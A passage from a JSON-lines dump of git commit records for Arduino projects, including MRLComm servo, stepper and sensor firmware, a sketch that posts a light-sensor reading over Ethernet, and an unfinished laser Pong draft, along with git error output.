SET_SERIAL_RATE:\n\t\t{\n\t\t\tSerial.end();\n\t\t\tdelay(500);\n\t\t\tSerial.begin(ioCmd[1]);\n\t\t\tbreak;\n\t\t}\n\n\t\tcase GET_VERSION:{\n\t\t\tSerial.write(MAGIC_NUMBER);\n\t\t\tSerial.write(2); \/\/ size\n\t\t\tSerial.write(PUBLISH_VERSION);\n\t\t\tSerial.write((byte)MRLCOMM_VERSION);\n\t\t\tbreak;\n\t\t\t}\n\n\t\tcase PULSE_IN: {\n\t\t \/\/ might need to hack the pulseIn lib - but would\n\t\t \/\/ like to do it without delay\n\t\t\t\/\/ http:\/\/arduino.cc\/en\/Tutorial\/BlinkWithoutDelay\n\t\t\tint trigPin = ioCmd[1];\n\t\t\tint echoPin = ioCmd[2];\n\t\t\t\/\/ TODO - implement HI\/LOW value & timeout & variable delay for trigger\n\n\t\t\tpinMode(trigPin, OUTPUT);\n\t\t\tpinMode(echoPin, INPUT);\n\n\t\t\tdigitalWrite(trigPin, LOW);\n\t\t\tdelayMicroseconds(2);\n\n\t\t\tdigitalWrite(trigPin, HIGH);\n\t\t\tdelayMicroseconds(10);\n\n\t\t\tdigitalWrite(trigPin, LOW);\n\t\t\tunsigned long duration = pulseIn(echoPin, HIGH);\n\n\t\t\t\/\/Calculate the distance (in cm) based on the speed of sound.\n\t\t\t\/\/ distance = duration\/58.2;\n\n\t\t\t\/\/sendMsg(4, ANALOG_VALUE, analogReadPin[i], readValue >> 8, readValue & 0xFF);\n \t\t\t\/\/sendMsg(5, PULSE_IN, duration >> 24, duration >> 16, duration >> 8, duration & 0xFF);\n \t\t\t\/\/sendMsg(6, SENSOR_DATA, 47, duration >> 24, duration >> 16, duration >> 8, duration & 0xFF);\n\n\n\t\t\tSerial.write(MAGIC_NUMBER);\n\t\t\tSerial.write(5); \/\/ size 1 FN + 4 bytes of unsigned long\n\t\t\tSerial.write(PULSE_IN);\n \/\/ write the long value out\n\t\t\tSerial.write((byte)(duration >> 24));\n\t\t\tSerial.write((byte)(duration >> 16));\n\t\t\tSerial.write((byte)(duration >> 8));\n\t\t\tSerial.write((byte)duration & 0xFF);\n\n\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SET_SAMPLE_RATE:{\n\t\t\t\/\/ 2 byte int - valid range 1-65,535\n\t\t\tsampleRate = (ioCmd[1]<<8) + ioCmd[2];\n\t\t\tif (sampleRate == 0)\n\t\t\t\t{ sampleRate = 1; } \/\/ avoid \/0 error - FIXME - time estimate param\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SOFT_RESET:{\n\t\t\tsoftReset();\n\t\t\tbreak;\n\t\t}\n\n\t\tcase STEPPER_ATTACH:{\n\t\t\tstepper_type& stepper = steppers[ioCmd[1]];\n\t\t\tstepper.index = ioCmd[1];\n\t\t\tstepper.type = ioCmd[2];\n\t\t\tstepper.isRunning = false;\n\t\t\tstepper.currentPos = 0;\n\t\t\tstepper.targetPos = 0;\n\t\t\tstepper.dir = 0;\n\t\t\tstepper.speed = 100;\n\n\t\t\tif (stepper.type == STEPPER_TYPE_POLOLU) {\n\t\t\t\tstepper.step0 = ioCmd[3]; \/\/ dir pin\n\t\t\t\tstepper.step1 = ioCmd[4]; \/\/ step pin\n\t\t\t} else {\n\t\t\t\tsendError(ERROR_UNKOWN_CMD);\n\t\t\t}\n\t\t\tbreak;\n\t\t}\n\n\t\tcase STEPPER_RESET:{\n\t\t\tstepper_type& stepper = steppers[ioCmd[1]];\n\t\t\tstepper.isRunning = false;\n\t\t\tstepper.currentPos = 0;\n\t\t\tstepper.targetPos = 0;\n\t\t\tstepper.dir = 0;\n\t\t\tstepper.speed = 100;\n\t\t\tbreak;\n\t\t}\n\n\t\tcase STEPPER_MOVE:{\n\t\t\tstepper_type& stepper = steppers[ioCmd[1]];\n\t\t\tif (stepper.type == STEPPER_TYPE_POLOLU) {\n\t\t\t\tstepper.isRunning = true;\n\n\t\t\t\tstepper.targetPos = stepper.currentPos + (ioCmd[2]<<8) + ioCmd[3];\n\t\t\t\t\/\/ relative position & direction\n\t\t\t\tif (stepper.targetPos < 0) {\n\t\t\t\t\t\/\/ direction\n\t\t\t\t\tdigitalWrite(stepper.step0, 1);\n\t\t\t\t} else {\n\t\t\t\t\tdigitalWrite(stepper.step0, 0);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tsendError(ERROR_UNKOWN_CMD);\n\t\t\t}\n\t\t\tbreak;\n\t\t}\n\n\t\tcase STEPPER_STOP:{\n\t\t\tstepper_type& stepper = steppers[ioCmd[1]];\n\t\t\tif (stepper.type == STEPPER_TYPE_POLOLU) {\n\t\t\t\tstepper.isRunning = false;\n\t\t\t\tstepper.targetPos = stepper.currentPos;\n\n\t\t\t\tSerial.write(MAGIC_NUMBER);\n\t\t\t\tSerial.write(5); \/\/ size = 1 FN + 1 eventType + 1 index + 1 curPos\n\t\t\t\tSerial.write(PUBLISH_STEPPER_EVENT);\n\t\t\t\tSerial.write(STEPPER_EVENT_STOP);\n\t\t\t\tSerial.write(stepper.index); \/\/ send my index\n\t\t\t\tSerial.write(stepper.currentPos >> 8); \/\/ MSB\n\t\t\t\tSerial.write(stepper.currentPos & 0xFF);\t\/\/ LSB\n\t\t\t} else {\n\t\t\t\tsendError(ERROR_UNKOWN_CMD);\n\t\t\t}\n\t\t\tbreak;\n\t\t}\n\n\t\t\t\/\/ --VENDOR CODE BEGIN--\n\t\t\t\/\/ --VENDOR CODE END--\n\/\/ not sure if its worth implementing - same info can be retrieved from publish servo event & publish pin\n\/*\n\n\t\tcase PINGDAR_ATTACH:{\n\t\t\tint pingdarIndex = ioCmd[1];\n\t\t\tpingdar_type& pingdar = pingdars[pingdarIndex];\n\t\t\tpingdar.servoIndex = ioCmd[2];\n\t\t\tpingdar.sensorIndex = ioCmd[3];\n\t\t\tpingdar.step = 1;\n\t\t\tbreak;\n\t\t}\n*\/\n\n\t\tcase SENSOR_ATTACH:{\n\t\t\tint sensorIndex = ioCmd[1];\n\t\t\tsensor_type& sensor = sensors[sensorIndex];\n\t\t\tsensor.type = ioCmd[2];\n\n\n\n\t\t\t\/\/ initialize based on sensor type\n\t\t\tif (sensor.type == SENSOR_ULTRASONIC){\n\t\t\t\tsensor.trigPin = ioCmd[3];\n\t\t\t\tsensor.echoPin = ioCmd[4];\n\t\t\t\tpinMode(sensor.trigPin, OUTPUT);\n\t\t\t\tpinMode(sensor.echoPin, INPUT);\n\t\t\t\t\/\/sensor.ping = new NewPing(sensor.trigPin, sensor.echoPin, 100);\n\t\t\t}\n\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SENSOR_POLLING_START:{\n\t\t\tint sensorIndex = ioCmd[1];\n\t\t\tsensor_type& sensor = sensors[sensorIndex];\n\t\t\tsensor.isRunning = true;\n\n\t\t\t\/\/ I'm used to ms - and would need to change some\n\t\t\t\/\/ interfaces if i was to support inbound longs\n\t\t\t\/\/sensor.timeoutUS = ioCmd[2] * 1000;\n\t\t\tsensor.timeoutUS = 20000; \/\/ 20 ms\n\t\t\tsensor.state = ECHO_STATE_START;\n\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SENSOR_POLLING_STOP:{\n\t\t\tint sensorIndex = ioCmd[1];\n\t\t\tsensor_type& sensor = sensors[sensorIndex];\n\t\t\tsensor.isRunning = false;\n\t\t\tbreak;\n\t\t}\n\n\t\tcase NOP:{\n\t\t\t\/\/ No Operation\n\t\t\tbreak;\n\t\t}\n\n\t\tdefault:{\n\t\t sendError(ERROR_UNKOWN_CMD);\n\t\t\tbreak;\n\t\t}\n\t\t} \/\/ end switch\n\n\t\t\/\/ reset buffer\n\t\tmemset(ioCmd,0,sizeof(ioCmd));\n\t\tbyteCount = 0;\n\n\t} \/\/ if getCommand()\n\n\t\/\/ all reads are affected by sample rate\n\tif (loopCount%sampleRate == 0) {\n\t\t\/\/ digital polling read - send data for pins which are currently in INPUT mode only AND whose state has changed\n\t\tfor (int i = 0; i < digitalReadPollingPinCount; ++i)\n\t\t{\n\t\t\tif (debounceDelay)\n\t\t\t{\n\t\t\t if (millis() - lastDebounceTime[digitalReadPin[i]] < debounceDelay)\n\t\t\t {\n\t\t\t continue;\n\t\t\t }\n\t\t\t}\n\n\t\t\t\/\/ FIXME !! - normalize with analog\n\t\t\t\/\/ read the pin\n\t\t\treadValue = digitalRead(digitalReadPin[i]);\n\n\t\t\t\/\/ if my value is different from last time && config - send it\n\t\t\tif (lastDigitalInputValue[digitalReadPin[i]] != readValue || !digitalTriggerOnly)\n\t\t\t{\n\t\t\t\tSerial.write(MAGIC_NUMBER);\n\t\t\t\tSerial.write(4); \/\/ size\n\t\t\t\tSerial.write(PUBLISH_PIN);\n\t\t\t\tSerial.write(digitalReadPin[i]);\/\/ Pin#\n\t\t\t\tSerial.write(0); \t\/\/ MSB\n\t\t\t\tSerial.write(readValue); \t\/\/ LSB\n\n\t\t\t lastDebounceTime[digitalReadPin[i]] = millis();\n\t\t\t}\n\n\t\t\t\/\/ set the last input value of this pin\n\t\t\tlastDigitalInputValue[digitalReadPin[i]] = readValue;\n\t\t}\n\n\n\t\t\/\/ analog polling read - send data for pins which are currently in INPUT mode only AND whose state has changed\n\t\tfor (int i = 0; i < analogReadPollingPinCount; ++i)\n\t\t{\n\t\t\t\/\/ read the pin\n\t\t\treadValue = analogRead(analogReadPin[i]);\n\n\t\t\t\/\/ if my value is different from last time - send it\n\t\t\tif (lastAnalogInputValue[analogReadPin[i]] != readValue || !analogTriggerOnly) \/\/TODO - SEND_DELTA_MIN_DIFF\n\t\t\t{\n\t\t\t\t\/\/sendMsg(4, ANALOG_VALUE, analogReadPin[i], readValue >> 8, readValue & 0xFF);\n\n\t\t\t\tSerial.write(MAGIC_NUMBER);\n\t\t\t\tSerial.write(4); \/\/size\n\t\t\t\tSerial.write(PUBLISH_PIN);\n\t\t\t\tSerial.write(analogReadPin[i]);\n\t\t\t\tSerial.write(readValue >> 8); \/\/ MSB\n\t\t\t\tSerial.write(readValue & 0xFF);\t\/\/ LSB\n\n\t }\n\t\t\t\/\/ set the last input value of this pin\n\t\t\tlastAnalogInputValue[analogReadPin[i]] = readValue;\n\t\t}\n\t}\n\n\t\/\/ update moving servos - send events if required\n\tfor (int i = 0; i < MAX_SERVOS; ++i)\n\t{\n\t\tservo_type& s = servos[i];\n\t\tif (s.isMoving && s.servo != 0){\n\t\t\tif (s.currentPos != s.targetPos)\n\t\t\t{\n\t\t\t\t\/\/ caclulate the appropriate modulus to drive\n\t\t\t\t\/\/ the servo to the next position\n\t\t\t\t\/\/ TODO - check for speed > 0 && speed < 100 - send ERROR back?\n\t\t\t\tint speedModulus = (100 - s.speed) * 10;\n\t\t\t\tif (loopCount % speedModulus == 0)\n\t\t\t\t{\n\t\t\t\t\tint increment = s.step * ((s.currentPos < s.targetPos)?1:-1);\n\t\t\t\t\t\/\/ move the servo an increment\n\t\t\t\t\ts.currentPos = s.currentPos + increment;\n\t\t\t\t\ts.servo->write(s.currentPos);\n\t\t\t\t\tif (s.eventsEnabled) sendServoEvent(s, SERVO_EVENT_POSITION_UPDATE);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif (s.isSweeping) {\n\t\t\t\t\tif (s.targetPos == s.min){\n\t\t\t\t\t\ts.targetPos = s.max;\n\t\t\t\t\t} else {\n\t\t\t\t\t\ts.targetPos = s.min;\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tif (s.eventsEnabled) sendServoEvent(s, SERVO_EVENT_STOPPED);\n\t\t\t\t\ts.isMoving = false;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tunsigned long ts;\n\n\tfor (int i = 0; i < SENSORS_MAX; ++i) {\n\t\tsensor_type& sensor = sensors[i];\n\t\tif (sensor.isRunning == true){\n\t\t\tif (sensor.type == SENSOR_ULTRASONIC){\n\n\t\t\t\t\/\/ we are running & have an ultrasonic (ping) sensor\n\t\t\t\t\/\/ check to see what state we are in\n\n\t\t\t\tif (sensor.state == ECHO_STATE_START){\n\t\t\t\t\t\/\/ trigPin prepare - start low for an\n\t\t\t\t\t\/\/ upcoming high pulse\n\t\t\t\t\tpinMode(sensor.trigPin, OUTPUT);\n\t\t\t\t\tdigitalWrite(sensor.trigPin, LOW);\n\n\t\t\t\t\t\/\/ put the echopin into a high state\n\t\t\t\t\t\/\/ is this necessary ???\n\t\t\t\t\tpinMode(sensor.echoPin, OUTPUT);\n\t\t\t\t\tdigitalWrite(sensor.echoPin, HIGH);\n\n\t\t\t\t\tts = micros();\n\t\t\t\t\tif (ts - sensor.ts > 2){\n\t\t\t\t\t\tsensor.ts = ts;\n\t\t\t\t\t\tsensor.state = ECHO_STATE_TRIG_PULSE_BEGIN;\n\t\t\t\t\t}\n\t\t\t\t} else if (sensor.state == ECHO_STATE_TRIG_PULSE_BEGIN){\n\n\t\t\t\t\t\/\/ begin high pulse for at least 10 us\n\t\t\t\t\tpinMode(sensor.trigPin, OUTPUT);\n\t\t\t\t\tdigitalWrite(sensor.trigPin, HIGH);\n\n\t\t\t\t\tts = micros();\n\t\t\t\t\tif (ts - sensor.ts > 10){\n\t\t\t\t\t\tsensor.ts = ts;\n\t\t\t\t\t\tsensor.state = ECHO_STATE_TRIG_PULSE_END;\n\t\t\t\t\t}\n\t\t\t\t} else if (sensor.state == ECHO_STATE_TRIG_PULSE_END){\n\t\t\t\t\t\/\/ end of pulse\n\t\t\t\t\tpinMode(sensor.trigPin, OUTPUT);\n\t\t\t\t\tdigitalWrite(sensor.trigPin, LOW);\n\n\t\t\t\t\tsensor.state = ECHO_STATE_MIN_PAUSE_PRE_LISTENING;\n\t\t\t\t\tsensor.ts = micros();\n\t\t\t\t} else if (sensor.state == ECHO_STATE_MIN_PAUSE_PRE_LISTENING){\n\n\t\t\t\t\tts = micros();\n\t\t\t\t\tif (ts - sensor.ts > 1500){\n\t\t\t\t\t\tsensor.ts = ts;\n\n\t\t\t\t\t\t\/\/ putting echo pin into listen mode\n\t\t\t\t\t\tpinMode(sensor.echoPin, OUTPUT);\n\t\t\t\t\t\tdigitalWrite(sensor.echoPin, HIGH);\n\t\t\t\t\t\tpinMode(sensor.echoPin, INPUT);\n\n\t\t\t\t\t\tsensor.state = ECHO_STATE_LISTENING;\n\t\t\t\t\t}\n\n\t\t\t\t} else if (sensor.state == ECHO_STATE_LISTENING) {\n\t\t\t\t\t\/\/ timeout or change states..\n\t\t\t\t\tint value = digitalRead(sensor.echoPin);\n\t\t\t\t\tts = micros();\n\n\t\t\t\t\tif (value == LOW) {\n\t\t\t\t\t\tsensor.lastValue = ts - sensor.ts;\n\t\t\t\t\t\tsensor.ts = ts;\n\t\t\t\t\t\tsensor.state = ECHO_STATE_GOOD_RANGE;\n\t\t\t\t\t} else if (ts - sensor.ts > sensor.timeoutUS) {\n\t\t\t\t\t\tsensor.state = ECHO_STATE_TIMEOUT;\n\t\t\t\t\t\tsensor.ts = ts;\n\t\t\t\t\t\tsensor.lastValue = 0;\n\t\t\t\t\t}\n\n\t\t\t\t} else if (sensor.state == ECHO_STATE_GOOD_RANGE || sensor.state == ECHO_STATE_TIMEOUT) {\n\t\t\t\t\tSerial.write(MAGIC_NUMBER);\n\t\t\t\t\tSerial.write(6); \/\/ size 1 FN + 4 bytes of unsigned long\n\t\t\t\t\tSerial.write(PUBLISH_SESOR_DATA);\n\t\t\t\t\tSerial.write(i);\n\t\t \/\/ write the long value out\n\t\t\t\t\tSerial.write((byte)(sensor.lastValue >> 24));\n\t\t\t\t\tSerial.write((byte)(sensor.lastValue >> 16));\n\t\t\t\t\tSerial.write((byte)(sensor.lastValue >> 8));\n\t\t\t\t\tSerial.write((byte) sensor.lastValue & 0xFF);\n\t\t\t\t\tsensor.state = ECHO_STATE_START;\n\t\t\t\t} \/\/ end else if\n\n\t\t\t} \/\/ if (sensor.type == SENSOR_ULTRASONIC)\n\n\t\t} \/\/ end isRunning\n\n\t} \/\/ end for each sensor\n\n\t\/\/ TODO - brake - speed - fractional stepping - other stepper types\n\tfor (int i = 0; i < STEPPERS_MAX; ++i) {\n\t\tstepper_type& stepper = steppers[i];\n\t\tif (stepper.isRunning == true){\n\t\t\tif (stepper.type == STEPPER_TYPE_POLOLU){\n\n\t\t\t\t\/\/ direction is already set in initial STEPPER_MOVE\n\n\t\t\t\tif (stepper.currentPos < stepper.targetPos) {\n\n\t\t\t\t \/\/ step - POLOLU has single step pin (dir is on step0)\n\t\t\t\t\tdigitalWrite(stepper.step1, 1);\n\t\t\t\t\tdelayMicroseconds(1); \/\/ :P should require another state? loop is ~106us min ?\n\t\t\t\t\tdigitalWrite(stepper.step1, 0);\n\n\t\t\t\t\tstepper.currentPos++;\n\t\t\t\t} else if (stepper.currentPos > stepper.targetPos) {\n\n\t\t\t\t \/\/ step - POLOLU has single step pin (dir is on step0)\n\t\t\t\t\tdigitalWrite(stepper.step1, 1);\n\t\t\t\t\tdelayMicroseconds(1); \/\/ :P should require another state? loop is ~106us min ?\n\t\t\t\t\tdigitalWrite(stepper.step1, 0);\n\n\t\t\t\t\tstepper.currentPos--;\n\n\t\t\t\t} else {\n\t\t\t\t\tstepper.isRunning = false;\n\t\t\t\t\tstepper.currentPos = stepper.targetPos; \/\/ forcing ? :P\n\t\t\t\t\tSerial.write(MAGIC_NUMBER);\n\t\t\t\t\tSerial.write(5); \/\/ size = 1 FN + 1 eventType + 1 index + 1 curPos\n\t\t\t\t\tSerial.write(PUBLISH_STEPPER_EVENT);\n\t\t\t\t\tSerial.write(STEPPER_EVENT_STOP);\n\t\t\t\t\tSerial.write(stepper.index); \/\/ send my index\n\t\t\t\t\tSerial.write(stepper.currentPos >> 8); \/\/ MSB\n\t\t\t\t\tSerial.write(stepper.currentPos & 0xFF);\t\/\/ LSB\n\t\t\t\t}\n\n\t\t\t}\n\t\t}\n\t}\n\n\tunsigned long now = micros();\n\tloadTime = now - lastMicros; \/\/ avg outside\n \tlastMicros = now;\n\n\t\/\/ report load time\n\tif (loadTimingEnabled && (loopCount%loadTimingModulus == 0)) {\n\n \t\t\/\/ send it\n\t\tSerial.write(MAGIC_NUMBER);\n\t\tSerial.write(5); \/\/ size 1 FN + 4 bytes of unsigned long\n\t\tSerial.write(PUBLISH_LOAD_TIMING_EVENT);\n \/\/ write the long value out\n\t\tSerial.write((byte)(loadTime >> 24));\n\t\tSerial.write((byte)(loadTime >> 16));\n\t\tSerial.write((byte)(loadTime >> 8));\n\t\tSerial.write((byte) loadTime & 0xFF);\n\t}\n\n\n} \/\/ end of big loop\n\nunsigned long getUltrasonicRange(sensor_type& sensor){\n\n\t\t\/\/ added for sensors which have single pin !\n\t\tpinMode(sensor.trigPin, OUTPUT);\n\t\tdigitalWrite(sensor.trigPin, LOW);\n\t\tdelayMicroseconds(2);\n\n\t\tdigitalWrite(sensor.trigPin, HIGH);\n\t\tdelayMicroseconds(10);\n\n\t\tdigitalWrite(sensor.trigPin, LOW);\n\n\t\t\/\/ added for sensors which have single pin !\n\t\tpinMode(sensor.echoPin, INPUT);\n\t\t\/\/ CHECKING return pulseIn(sensor.echoPin, HIGH, sensor.timeoutUS);\n\t\t\/\/ TODO - adaptive timeout ? - start big - pull in until valid value - push out if range is coming close\n\t\treturn pulseIn(sensor.echoPin, HIGH);\n}\n\nvoid sendServoEvent(servo_type& s, int eventType){\n \t\/\/ check type of event - STOP vs CURRENT POS\n\n\tSerial.write(MAGIC_NUMBER);\n\tSerial.write(5); \/\/ size = 1 FN + 1 INDEX + 1 eventType + 1 curPos\n\tSerial.write(PUBLISH_SERVO_EVENT);\n\tSerial.write(s.index); \/\/ send my index\n\t\/\/ write the long value out\n\tSerial.write(eventType);\n\tSerial.write(s.currentPos);\n\tSerial.write(s.targetPos);\n}\n\nvoid sendError(int type){\n\tSerial.write(MAGIC_NUMBER);\n\tSerial.write(2); \/\/ size = 1 FN + 1 TYPE\n\tSerial.write(PUBLISH_MRLCOMM_ERROR);\n\tSerial.write(type);\n}\n\n\/* SEEMED LIKE A GOOD IDEA NOT !!!!\nvoid sendMsg ( int num, ... )\n{\n\tva_list arguments;\n\t\/\/ Initializing arguments to store all values after num\n\tva_start ( arguments, num );\n\n\t\/\/ write header\n\tmsgBuf[0] = MAGIC_NUMBER;\n\tmsgBuf[1] = num;\n\n\t\/\/ copies msg payload to buffer after header\n\tfor ( int x = 2; x < num+2; x++ )\n\t{\n\t\tmsgBuf[x] = (byte) va_arg ( arguments, int );\n\t}\n\tva_end ( arguments ); \/\/ Cleans up the list\n\tSerial.write(msgBuf, num + 2);\n\treturn;\n}\n*\/\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/resource\/Arduino\/MRLComm2.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"4a3304a78c56694b8f7ecb7d2f5b0840f7ba7e68","subject":"started writing PID code","message":"started writing PID code\n","repos":"GaParmar\/quadcopter,GaParmar\/quadcopter","old_file":"FlightController.ino","new_file":"FlightController.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/GaParmar\/quadcopter.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"6be43370c31da3d37a9984869cc5c514426f6c2f","subject":"Create WebClient.ino","message":"Create WebClient.ino","repos":"vj-ug\/ph-Mixer-using-Intel-Galileo-Board","old_file":"WebClient.ino","new_file":"WebClient.ino","new_contents":"\n#include <SPI.h>\n#include <Ethernet.h>\n\n\/\/ Enter a MAC address for your controller below.\n\/\/ Newer Ethernet shields have a MAC address printed on a sticker on the shield\nbyte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };\nIPAddress server(173,194,33,104); \/\/ Google\nint lightLevel;\n\nconst int sensorPin = 1;\n\n\n\/\/ Initialize the Ethernet client library\n\/\/ with the IP address and port of the server \n\/\/ that you want to connect to (port 80 is default for HTTP):\nEthernetClient client;\n\nvoid setup() {\n \/\/ Open serial communications and wait for port to open:\n Serial.begin(9600);\n while (!Serial) {\n ; \/\/ wait for serial port to connect. Needed for Leonardo only\n }\n \n delay(2000);\n system(\"ifup eth0\"); \n system(\"ifconfig eth0 > \/dev\/ttyGS0\");\n\n \/\/ give the Ethernet shield a second to initialize:\n delay(2000);\n Serial.println(\"connecting...\");\n lightLevel = analogRead(sensorPin);\n \/\/ if you get a connection, report back via serial:\n if (client.connect(\"api-flow.att.io\", 80)) {\n Serial.println(\"connected\");\n \/\/ Make a HTTP request:\n client.print(\"GET \/sandbox\/hackathon\/m2mhack5\/in\/flow\/hack\/echo?value=\");\n client.print(lightLevel);\n client.println(\" HTTP\/1.1\");\n client.println(\"Connection: close\");\n client.println();\n } \n else {\n \/\/ if you didn't get a connection to the server:\n Serial.println(\"connection failed\");\n }\n}void loop()\n{\n \/\/ if there are incoming bytes available \n \/\/ from the server, read them and print them:\n if (client.available()) {\n char c = client.read();\n Serial.print(c);\n }\n\n\n\n \n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'WebClient.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"14527f92aee429e82045023b4434dd22f1b52d8a","subject":"Change print to println","message":"Change print to println\n","repos":"jaredkotoff\/CSUFIEEECS","old_file":"arduino_101\/arduino_101.ino","new_file":"arduino_101\/arduino_101.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jaredkotoff\/CSUFIEEECS.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"1433a812ca641afd29bbb1bcee0574d996f2986e","subject":"Added try with Arduino libs","message":"Added try with Arduino libs\n","repos":"Aglezabad\/kBKB,Aglezabad\/kBKB,Aglezabad\/kBKB,Aglezabad\/A2Kb,Aglezabad\/kBKB,Aglezabad\/kBKB,Aglezabad\/kBKB","old_file":"nicohood_hid\/kBKB\/kBKB.ino","new_file":"nicohood_hid\/kBKB\/kBKB.ino","new_contents":"#include <HID-Project.h>\n\n\/\/const uint8_t pinLed = LED_BUILTIN;\n\/\/const uint8_t pinButton = 2;\n\nvoid setup() {\n \/\/pinMode(pinLed, OUTPUT);\n \/\/pinMode(pinButton, INPUT_PULLUP);\n\n \/\/ Sends a clean report to the host. This is important on any Arduino type.\n \/\/NKROKeyboard.begin();\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'nicohood_hid\/kBKB\/kBKB.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ca52b2cfe96a8a9e3e251466d5d038237abc03de","subject":"organizing files","message":"organizing files\n","repos":"ArthurSilveira\/LaserProjector","old_file":"oldfiles\/main.ino","new_file":"oldfiles\/main.ino","new_contents":"#include <iostream>\n#include \"laserdriver.h\"\n\nusing namespace std;\n\nvoid gameLoop();\nvoid drawCourt(int width, int height);\nbool checkCollision(Ball &ball, const Paddle &lPad, const Paddle &dPad);\n\n\n\/******************************************************************************\n* Classes *\n******************************************************************************\/\n\n \/**\n * @brief Ball\n *\n *\/\nclass Ball\n{\n\tprivate:\n\n\t\t\/* Radius and Position of Ball *\/\n\t\tint radius;\n\t\tint yPos;\n\t\tint xPos;\n\n\t\t\/* Velocity of Ball*\/\n\t\tint dx;\n\t\tint dy;\n\n\tpublic:\n\n\t Ball(int x, int y, int r){xPos=x; yPos =y; radius = r;}\n\t ~Ball();\n\n\t \/* Getter methods *\/\n\t int GetXpos(){return xPos;}\n\t int GetYpos(){return yPos;}\n\t int GetDx(){return dx;}\n\t int GetDy(){return dy;}\n\n\t void UpdateVel(int xVel, int yVel) { dx = xVel; dy = yVel; }\n\n\t void UpdatePos() {xPos+= dx; yPos+= dy;}\n\n\t \t\/**\n\t \t* @brief\n\t \t*\n\t \t* @param x\n\t \t* @param y\n\t \t* @param r\n\t \t*\n\t \t*\/\n\t void draw(int x, int y, int r){lCircle( x, y, r );}\n\n};\n\n\n\/**\n* @brief Paddle \n*\n*\/\nclass Paddle\n{\n\tprivate:\n\t\t\n\t\t\/* Dimmenssions and Position of paddle *\/\n\t\tint yPos;\n\t\tint xPos;\n\t\tint height;\n\t\tint width;\n\n\t\tint dy;\n\t\tint dx;\n\n\tpublic:\n\n\t\tPaddle(int x, int y, int){xPos= x; yPos=y;}\n\n\t\t\/* Getter methods *\/\n\t int GetXpos(){return xPos;}\n\t\tint GetYpos(){return yPos;}\n\t \tint GetDx(){return dx;}\n\t \tint GetDy(){return dy;}\n\n\t \tvoid Draw(int xPos, int yPos, int width, int height)\n\t \t\t{lRect(xPos, yPos, width, height);}\n\n};\n\n\n\/******************************************************************************\n* Main *\n******************************************************************************\/\n\nint main(int argc, char const *argv[])\n{\n\n\tgameLoop();\n\n\treturn 0;\n}\n\t\n\t\/* main game loop *\/\nint gameLoop()\n{\t\t\n\t\t\/* Dimenssions of Court *\/\n\tconst int court_width = 255;\n\tconst int court_height = 255;\n\n\t\t\/* Radius of ball *\/\n\tconst int ball_r = 4; \n\n\t\t\/* Create Ball at the center of the court *\/\n\tBall ball( ( (court_width\/2)- ball_r), ((court_height\/2)- ball_r ) )\n\n\t\t\/* Create left and right paddles *\/\n\tPaddle lPad(10, (court_height\/2), 10, 20)\n\tpaddle rPad( ( court_width-20), (court_height\/2), 10, 20 ) \n\n\t\t\/* Game loop *\/\n\twhile(true)\n\t{\t\n\n\t\tdrawCourt( court_width, court_height);\n\t\tlPad.Draw();\n\t\trPad.Draw();\n\t\tball.Draw();\n\t\t\n\t}\n\n\treturn true;\n}\n\nvoid drawCourt(int width, int height)\n{\n\n\tlSet( 0, 0 );\n\tdelayMicroseconds(700);\n\tlSet( 0, width );\n\tdelayMicroseconds(700);\n\tlSet( 0, (width\/2) );\n\tdelayMicroseconds(700);\n\tlSet( height, (width\/2) );\n\tdelayMicroseconds(700);\n\tlSet( width , height );\n\tdelayMicroseconds(700);\n\tlSet( 0, height );\n\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'oldfiles\/main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6d1ee35e3136d9600a6e0835b66ba748df81e8b9","subject":"debug probleme remonter","message":"debug probleme remonter\n","repos":"nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance","old_file":"Module Pince\/Moteur_deplacement\/Moteur_deplacement.ino","new_file":"Module Pince\/Moteur_deplacement\/Moteur_deplacement.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Module' did not match any file(s) known to git\nerror: pathspec 'Pince\/Moteur_deplacement\/Moteur_deplacement.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a1b2f3306c527bf562dc1ae2a20010928f088044","subject":"Made a few changes to the power system program.","message":"Made a few changes to the power system program.\n","repos":"upperman\/Wireless-Led-Display,upperman\/Wireless-Led-Display","old_file":"Software\/power_system_program\/power_system_program.ino","new_file":"Software\/power_system_program\/power_system_program.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 